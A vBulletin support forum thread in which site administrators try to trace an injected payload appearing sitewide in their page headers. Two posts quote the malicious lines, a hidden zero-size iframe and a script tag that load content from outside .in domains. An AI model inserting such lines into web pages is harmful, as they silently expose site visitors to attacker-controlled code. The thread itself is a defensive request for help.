Announcement

Collapse
No announcement yet.

Where would I find the End of the Facebook CSS code?

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • [Forum] Where would I find the End of the Facebook CSS code?

    Hi,

    I have got a line of malicious code in the form of an iframe, however it is placed directly after the Facebook CSS Styling, but before the closing header tag of the page, sitewide. It does not show in the templates, a database search for the iframe or base64 does not bring the results either.

    Here is the Source Code viewed using Firefox Developer Tools > View Generated Source

    Code:
    .FB_Loader{margin-top:0} .fbpluginrecommendationsbarleft, .fbpluginrecommendationsbarright{position:fixed !important;bottom:0;z-index:999} /* @noflip */ .fbpluginrecommendationsbarleft{left:10px} /* @noflip */ .fbpluginrecommendationsbarright{right:10px} </style><iframe width="0" height="0" src="http://directmarketingmanage.in/in.cgi?walter"/></head>     <body>      <!-- BEGIN TEMPLATE: header --> <div class="above_body"> <!-- closing tag is in template navbar -->
    Any help would be appreciated.

  • #2
    Hi,

    No help I am afraid but I am getting the same problem on a forum I help to maintain so can share your pain Compiled source shows exactly the same as you, top of the block of code, which appears to be facebook stuff, shows:

    Code:
    <script src="http://pictures4me.in/jquery.compatibility.js"/><style type="text/css">.fb_hidden{position:absolute;top:-10000px;z-index:10001}
    Can't find anything in DB content or filesystem. Am totally stumped.

    Anyone else been hit with this and managed to resolve? PM me if you want forum details...
    chubba
    New Member
    Last edited by chubba; Mon 27 Feb '12, 5:07pm.

    Comment


    • #3
      Hi

      I have also a problem of this type... maybe this post could be helpfull for you
      https://www.vbulletin.com/forum/show...ound?p=2270175

      But I still don't know the way they used for this exploit

      Comment


      • #4
        That code appears like it would be generated in the headinclude or headinclude_bottom template but that Facebook code is not what vBulletin uses by default. Could be from an addon.
        Translations provided by Google.

        Wayne Luke
        The Rabid Badger - a vBulletin Cloud demonstration site.
        vBulletin 5 API

        Comment

        Related Topics

        Collapse

        Working...
        X